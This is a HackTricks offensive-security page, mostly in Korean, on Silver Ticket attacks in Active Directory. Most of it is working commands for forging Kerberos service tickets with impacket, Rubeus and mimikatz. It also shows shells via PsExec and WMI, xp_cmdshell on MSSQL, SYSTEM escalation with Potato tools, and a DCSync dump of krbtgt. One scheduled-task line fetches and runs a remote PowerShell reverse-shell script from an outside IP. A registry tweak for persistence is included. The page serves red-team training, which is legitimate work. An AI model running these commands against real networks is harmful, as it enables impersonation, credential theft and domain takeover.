Silver Ticket

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Silver ticket

Silver Ticket ๊ณต๊ฒฉ์€ Active Directory (AD) ํ™˜๊ฒฝ์—์„œ ์„œ๋น„์Šค ํ‹ฐ์ผ“์„ ์•…์šฉํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ปดํ“จํ„ฐ ๊ณ„์ •๊ณผ ๊ฐ™์€ ์„œ๋น„์Šค ๊ณ„์ •์˜ NTLM ํ•ด์‹œ๋ฅผ ํš๋“ํ•˜์—ฌ Ticket Granting Service (TGS) ํ‹ฐ์ผ“์„ ์œ„์กฐํ•˜๋Š” ๊ฒƒ์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์œ„์กฐ๋œ ํ‹ฐ์ผ“์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ๋„คํŠธ์›Œํฌ์˜ ํŠน์ • ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜์—ฌ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ๋ชฉํ‘œ๋กœ ์ž„์˜์˜ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ‹ฐ์ผ“ ์œ„์กฐ์— AES ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๋” ์•ˆ์ „ํ•˜๊ณ  ํƒ์ง€๊ฐ€ ๋” ์–ด๋ ต๋‹ค๋Š” ์ ์ด ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค.

Warning

Silver Tickets๋Š” Golden Tickets๋ณด๋‹ค ํƒ์ง€๊ฐ€ ๋œํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” krbtgt ๊ณ„์ •์ด ์•„๋‹ˆ๋ผ ์„œ๋น„์Šค ๊ณ„์ •์˜ ํ•ด์‹œ๋งŒ ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Silver Tickets๋Š” ๋Œ€์ƒ์ด ๋˜๋Š” ํŠน์ • ์„œ๋น„์Šค๋กœ๋งŒ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ๋‹จ์ˆœํžˆ ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ›”์น˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
๋” ๋‚˜์•„๊ฐ€, ๋งŒ์•ฝ SPN์„ ๊ฐ€์ง„ ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํƒˆ์ทจํ•˜๋ฉด ๊ทธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์–ด๋–ค ์‚ฌ์šฉ์ž๋กœ๋“  ๊ฐ€์žฅํ•˜๋Š” Silver Ticket์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

For ticket crafting, different tools are employed based on the operating system:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Windows์—์„œ

# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

The CIFS ์„œ๋น„์Šค๋Š” ํ”ผํ•ด์ž์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ์ผ๋ฐ˜์ ์ธ ํƒ€๊นƒ์œผ๋กœ ๊ฐ•์กฐ๋˜์ง€๋งŒ, HOST๋‚˜ RPCSS ๊ฐ™์€ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋„ ์ž‘์—… ๋ฐ WMI ์ฟผ๋ฆฌ ์ˆ˜ํ–‰์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ: MSSQL ์„œ๋น„์Šค (MSSQLSvc) + Potato๋กœ SYSTEM

SQL ์„œ๋น„์Šค ๊ณ„์ •(์˜ˆ: sqlsvc)์˜ NTLM ํ•ด์‹œ(๋˜๋Š” AES ํ‚ค)๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด MSSQL SPN์— ๋Œ€ํ•œ TGS๋ฅผ ์œ„์กฐํ•˜์—ฌ SQL ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์ž„์˜์˜ ์‚ฌ์šฉ์ž๋กœ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ดํ›„์— xp_cmdshell์„ ํ™œ์„ฑํ™”ํ•˜๋ฉด SQL ์„œ๋น„์Šค ๊ณ„์ • ๊ถŒํ•œ์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํ† ํฐ์— SeImpersonatePrivilege๊ฐ€ ์žˆ๋‹ค๋ฉด Potato๋ฅผ ์ด์šฉํ•ด SYSTEM์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • ๊ฒฐ๊ณผ ์ปจํ…์ŠคํŠธ์— SeImpersonatePrivilege (์ข…์ข… service accounts์— ํ•ด๋‹น)๊ฐ€ ์žˆ์œผ๋ฉด, SYSTEM์„ ์–ป๊ธฐ ์œ„ํ•ด Potato variant๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

MSSQL ๋‚จ์šฉ ๋ฐ xp_cmdshell ํ™œ์„ฑํ™”์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ:

MSSQL AD Abuse

Potato techniques ๊ฐœ์š”:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค

Service Type์„œ๋น„์Šค Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

OS์— ๋”ฐ๋ผ ์ถ”๊ฐ€๋กœ:

WSMAN

RPCSS

WinRM

HOST

HTTP

๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋‹จ์ˆœํžˆ ์š”์ฒญํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: WINRM

Scheduled TasksHOST
Windows File Share, also psexecCIFS
LDAP operations, included DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Rubeus๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ด๋Ÿฌํ•œ ํ‹ฐ์ผ“์„ ๋ชจ๋‘ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets ์ด๋ฒคํŠธ ID

  • 4624: ๊ณ„์ • ๋กœ๊ทธ์˜จ
  • 4634: ๊ณ„์ • ๋กœ๊ทธ์˜คํ”„
  • 4672: ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์˜จ

Persistence

๋จธ์‹ ์ด 30์ผ๋งˆ๋‹ค ์•”ํ˜ธ๋ฅผ ๊ฐฑ์‹ ํ•˜์ง€ ์•Š๋„๋ก ํ•˜๋ ค๋ฉด HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1๋กœ ์„ค์ •ํ•˜๊ฑฐ๋‚˜, ๋จธ์‹  ์•”ํ˜ธ์˜ ํšŒ์ „ ์ฃผ๊ธฐ๋ฅผ ๋” ๊ธธ๊ฒŒ ํ•˜๋ ค๋ฉด HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge๋ฅผ 30์ผ๋ณด๋‹ค ํฐ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Service tickets ์•…์šฉ

๋‹ค์Œ ์˜ˆ์—์„œ๋Š” ํ‹ฐ์ผ“์ด administrator ๊ณ„์ •์„ ์‚ฌ์นญํ•˜์—ฌ ํš๋“๋˜์—ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค.

CIFS

์ด ํ‹ฐ์ผ“์œผ๋กœ SMB๋ฅผ ํ†ตํ•ด ์›๊ฒฉ์˜ C$ ๋ฐ ADMIN$ ํด๋”(๋…ธ์ถœ๋œ ๊ฒฝ์šฐ)์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์›๊ฒฉ ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ์ผ๋ถ€๋กœ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

๋˜ํ•œ psexec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŠธ ๋‚ด๋ถ€์—์„œ ์…ธ์„ ์–ป๊ฑฐ๋‚˜ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

PsExec/Winexec/ScExec

ํ˜ธ์ŠคํŠธ

์ด ๊ถŒํ•œ์œผ๋กœ ์›๊ฒฉ ์ปดํ“จํ„ฐ์— ์˜ˆ์•ฝ๋œ ์ž‘์—…์„ ์ƒ์„ฑํ•˜๊ณ  ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

์ด ํ‹ฐ์ผ“๋“ค๋กœ ํ”ผํ•ด์ž ์‹œ์Šคํ…œ์—์„œ WMI๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ wmiexec์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

WmiExec

HOST + WSMAN (WINRM)

์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ winrm ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ ‘์†ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์‹ฌ์ง€์–ด PowerShell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์— ์—ฐ๊ฒฐํ•˜๋Š” winrm์„ ์‚ฌ์šฉํ•œ ์ถ”๊ฐ€ ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”:

WinRM

Warning

์›๊ฒฉ ์ปดํ“จํ„ฐ์— ์ ‘๊ทผํ•˜๋ ค๋ฉด winrm์ด ํ™œ์„ฑํ™”๋˜์–ด ์ˆ˜์‹  ๋Œ€๊ธฐ ์ค‘์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

LDAP

์ด ๊ถŒํ•œ์œผ๋กœ DCSync๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ DC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

DCSync์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์•Œ์•„๋ณด์„ธ์š” ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ:

DCSync

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ